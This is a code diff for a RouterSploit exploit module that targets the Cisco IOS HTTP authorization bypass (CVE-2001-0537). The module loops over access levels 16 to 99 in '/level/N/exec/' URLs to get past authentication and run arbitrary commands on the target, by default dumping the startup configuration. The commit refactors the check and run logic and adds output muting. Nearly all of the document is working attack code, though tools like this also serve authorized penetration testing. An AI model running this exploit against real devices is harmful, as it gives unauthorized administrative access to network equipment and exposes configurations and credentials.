created corrections as suggested

created corrections as suggested (added mute , removed some parts, changed formatting etc )

routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py

+import re
+
 from routersploit import (
     exploits,
     print_success,
     print_error,
     print_info,
     http_request,
+    mute,
     validators,
 )
 
@@ -12,16 +15,16 @@ class Exploit(exploits.Exploit):
     """
     This exploit targets a vulnerability in the Cisco IOS HTTP Server.
     By sending a GET request for the url  "http://ip_address/level/{num}/exec/..",
-    it is possible to bypass authentication and execute any command.
-    Example: http://10.0.0.1/level/99/exec/show/startup/config
+    it is possible to bypass authentication and execute any command. 
+    Example: http://10.0.0.1/level/99/exec/show/startup/config  
     """
     __info__ = {
         'name': 'Cisco IOS HTTP Unauthorized Administrative Access',
         'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '
-                       'to bypass authentication and execute arbitrary commands, '
-                       'when local authorization is being used, by specifying a high access level in the URL.',
+                        'to bypass authentication and execute arbitrary commands, '
+                        'when local authorization is being used, by specifying a high access level in the URL.',
         'authors': [
-            'Author', 'Renos Stoikos rstoikos[at]gmail.com'  # routesploit module
+            'Author', 'renos stoikos <rstoikos[at]gmail.com>'# routesploit module
         ],
         'references': [
             'http://www.cvedetails.com/cve/cve-2001-0537',
@@ -31,29 +34,32 @@ class Exploit(exploits.Exploit):
         ],
     }
 
-    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
-    port = exploits.Option(80, 'Target port')  # default port
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
+    port = exploits.Option(80, 'Target port') # default port
     show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config')
-
+    access_level = None
+    
+    @mute
     def check(self):
         for num in range(16, 100):
             url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
             response = http_request(method="GET", url=url)
             if response.status_code == 200:
+            	self.access_level = num
                 return True  # target is vulnerable
-            elif response is None:
-                return False  # target is not vulnerable
         return False  # target is not vulnerable
-
+            
     def run(self):
-        for num in range(16, 100):
-            url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
+        if self.check():
+            print_success("Target is vulnerable")
+            url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, self.access_level, self.show_command)
             response = http_request(method="GET", url=url)
             if response is None:
-                return False  # target is not vulnerable
-            elif response.status_code == 200:
+                print_error("Could not execute command")  # target is not vulnerable
+                return
+            elif response.status_code == 200 and "Command was:  {}".format(self.show_command) in response.text:
                 print_success("Exploit success! - executing command")
-                print_info(response.text)
-                break
+                print re.sub('<[^<]+?>', '', response.text)
             else:
-                print_error("Exploit failed - could not execute command for level", num)
+                print_error("Exploit failed - target seems to be not vulnerable")
+